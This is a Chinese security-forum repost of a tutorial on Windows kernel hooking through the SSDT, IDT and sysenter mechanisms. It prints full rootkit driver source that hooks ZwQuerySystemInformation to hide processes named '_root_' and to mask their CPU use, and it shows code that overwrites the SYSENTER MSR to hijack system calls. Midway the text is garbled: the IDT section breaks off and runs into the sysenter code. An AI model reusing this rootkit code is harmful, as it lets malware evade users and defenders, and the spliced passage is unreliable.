|
![]() | 作者: yongmin [yongmin]
![]() |
登录 |
作者:Lvg 转贴自:一蓑烟雨 【文章标题】: 必备绝技――hook大法( 中 ) 【文章作者】: LvG 【作者邮箱】: LvG2008@gmail.com 【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教! -------------------------------------------------------------------------------- 【详细过程】 这次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层需要驱动,有这方面的基础最好,如果不会,了解下其中的思路也可以的。 II. SSDT-hook,IDT-hook,sysenter-hook 一.SSDT-hook (一)一般思路: 1.先来了解一下,什么是SSDT SSDT既System Service Dispath Table。在了解他之前,我们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。 系统组建.jpg ![]() ![]() ![]() 系统组件.JPG (52.99 KB) 2007-4-12 18:42 用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再如下图 调用过程.jpg ![]() ![]() ![]() 调用过程.JPG (14.5 KB) 2007-4-12 18:42 从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图: SSDT.jpg ![]() ![]() ![]() SSDT.JPG (17.38 KB) 2007-4-12 18:42 KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是 typedef struct ServiceDescriptorTable { PVOID ServiceTableBase; PVOID ServiceCounterTable(0); unsigned int NumberOfServices; PVOID ParamTableBase; } 其中, ServiceTableBase System Service Dispatch Table 的基地址。 NumberOfServices 由 ServiceTableBase 描述的服务的数目。 ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。 ParamTableBase 包含每个系统服务参数字节数表的基地址。 System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4子节长。 System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。 还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图: 服务分发.jpg ![]() ![]() ![]() 服务分发.JPG (35.71 KB) 2007-4-12 18:42 右侧的服务分发就通过KeServiceDescriptorTableShadow。 那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。 2.Hook前的准备-改变SSDT内存的保护 系统对SSDT都是只读的,不能写。如果试图去写,等你的就是蓝脸。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。 (1)改变CR0寄存器的第1位 Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图: CR0.jpg ![]() ![]() ![]() cr0.jpg (9.37 KB) 2007-4-12 18:42 其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。 (2)通过Memory Descriptor List(MDL) 也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构: typedef struct _MDL { struct _MDL *Next; CSHORT Size; CSHORT MdlFlags; //关键在这里,将来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写 struct _EPROCESS *Process; PVOID MappedSystemVa; PVOID StartVa; ULONG ByteCount; ULONG ByteOffset; } MDL, *PMDL; 首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成 MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下: //先声明一个System Service Descriptor Table,我们知道SSDT及SSPT都从这个表中指向 #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char *ParamTableBase; } SSDT_Entry; #pragma pack() __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable; / PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; // 代码 // 保存原系统调用位置 // 映射我们的区域 g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的flags g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; //在内存中索定,不让换出 MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); 现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢? 3.四个有用的宏 SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中 SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。 这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。 HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。 这四个宏具体是: #define SYSTEMSERVICE(_func) \ KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)] #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) \ &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) #define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \ InterlockedExchange((PLONG) \ &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook) 4.小试牛刀:利用SSDT Hook隐藏进程 我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是: NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, //如果这值是5,则代表系统中所有进程信息 IN PVOID SystemInformation, //这就是最终列举出的信息,和上面的值有关 IN ULONG SystemInformationLength, //后两个不重要 OUT PULONG ReturnLength) 如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下: (1) 突破SSDT的内存保护,如上所用的MDL方法 (2) 实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程 (3) 用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数 (4) 卸载New*函数,完成 具体实例:来自Rootkit.com,我做了注释,代码也很精小。 #include "ntddk.h" #pragma pack(1) typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned int *ServiceCounterTableBase; //仅适用于checked build版本 unsigned int NumberOfServices; unsigned char *ParamTableBase; } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t; #pragma pack() __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable; //获得SSDT基址宏 #define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] PMDL g_pmdlSystemCall; PVOID *MappedSystemCallTable; //获得函数在SSDT中的索引宏 #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1) //调换自己的hook函数与原系统函数的地址 #define HOOK_SYSCALL(_Function, _Hook, _Orig ) \ _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //卸载hook函数 #define UNHOOK_SYSCALL(_Function, _Hook, _Orig ) \ InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook) //声明各种结构 struct _SYSTEM_THREADS { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientIs; KPRIORITY Priority; KPRIORITY BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason; }; struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; //windows 2000 only struct _SYSTEM_THREADS Threads[1]; }; // Added by Creative of rootkit.com struct _SYSTEM_PROCESSOR_TIMES { LARGE_INTEGER IdleTime; LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER DpcTime; LARGE_INTEGER InterruptTime; ULONG InterruptCount; }; NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength); typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)( ULONG SystemInformationCLass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation; // Added by Creative of rootkit.com LARGE_INTEGER m_UserTime; LARGE_INTEGER m_KernelTime; //我们的hook函数,过滤掉以"_root_"开头的进程 NTSTATUS NewZwQuerySystemInformation( IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength) { NTSTATUS ntStatus; ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength ); if( NT_SUCCESS(ntStatus)) { // Asking for a file and directory listing if(SystemInformationClass == 5) { // 列举系统进程链表 // 寻找以"_root_"开头的进程 struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation; struct _SYSTEM_PROCESSES *prev = NULL; while(curr) { //DbgPrint("Current item is %x\n", curr); if (curr->ProcessName.Buffer != NULL) { if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12)) { m_UserTime.QuadPart += curr->UserTime.QuadPart; m_KernelTime.QuadPart += curr->KernelTime.QuadPart; if(prev) // Middle or Last entry { if(curr->NextEntryDelta) prev->NextEntryDelta += curr->NextEntryDelta; else // we are last, so make prev the end prev->NextEntryDelta = 0; } else { if(curr->NextEntryDelta) { // we are first in the list, so move it forward (char *)SystemInformation += curr->NextEntryDelta; } else // we are the only process! SystemInformation = NULL; } } } else // Idle process入口 { // 把_root_进程的时间加给Idle进程,Idle称空闲时间 curr->UserTime.QuadPart += m_UserTime.QuadPart; curr->KernelTime.QuadPart += m_KernelTime.QuadPart; // 重设时间,为下一次过滤 m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; } prev = curr; if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta); else curr = NULL; } } else if (SystemInformationClass == 8) // 列举系统进程时间 { struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation; times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart; } } return ntStatus; } VOID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("ROOTKIT: OnUnload called\n"); // 卸载hook UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation ); // 解索并释放MDL if(g_pmdlSystemCall) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } } NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) { // 注册一个卸载的分发函数,与与应用层沟通 theDriverObject->DriverUnload = OnUnload; // 初始化全局时间为零 // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100% m_UserTime.QuadPart = m_KernelTime.QuadPart = 0; // 储存旧的函数地址 OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)); // 把SSDT隐射到我们的区域,以便修改它为可写属性 g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4); if(!g_pmdlSystemCall) return STATUS_UNSUCCESSFUL; MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // 改变MDL的Flags属性为可写,既然可写当然可读,可执行 g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了 HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation ); return STATUS_SUCCESS; } 二.IDT hook (一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。 (二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题: 1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下: typedef struct { WORD IDTLimit; WORD LowIDTbase; //IDT的低半地址 WORD HiIDTbase; //IDT的高半地址 } IDTINFO; 方便获取地址存取的宏 #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))DriverUnload = OnUnload; __asm { mov ecx, 0x176 rdmsr // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址 mov d_origKiFastCallEntry, eax //保存原值,以便恢复 mov eax, MyKiFastCallEntry // hook函数地址 wrmsr // 将hook函数移入IA32_SYSENTER_EIP寄存器 } return STATUS_SUCCESS; } 基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。 by LvG(吕歌) 参考文献:> rootkit.com > > -------------------------------------------------------------------------------- 【版权声明】: 本文原创于看雪技术论坛, 一蓑烟雨,转载请注明作者并保持文章的完整, 谢谢! [此贴被 yongmin(yongmin) 在 04月17日09时32分 编辑过] |
地主 发表时间: 07-04-17 09:27 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号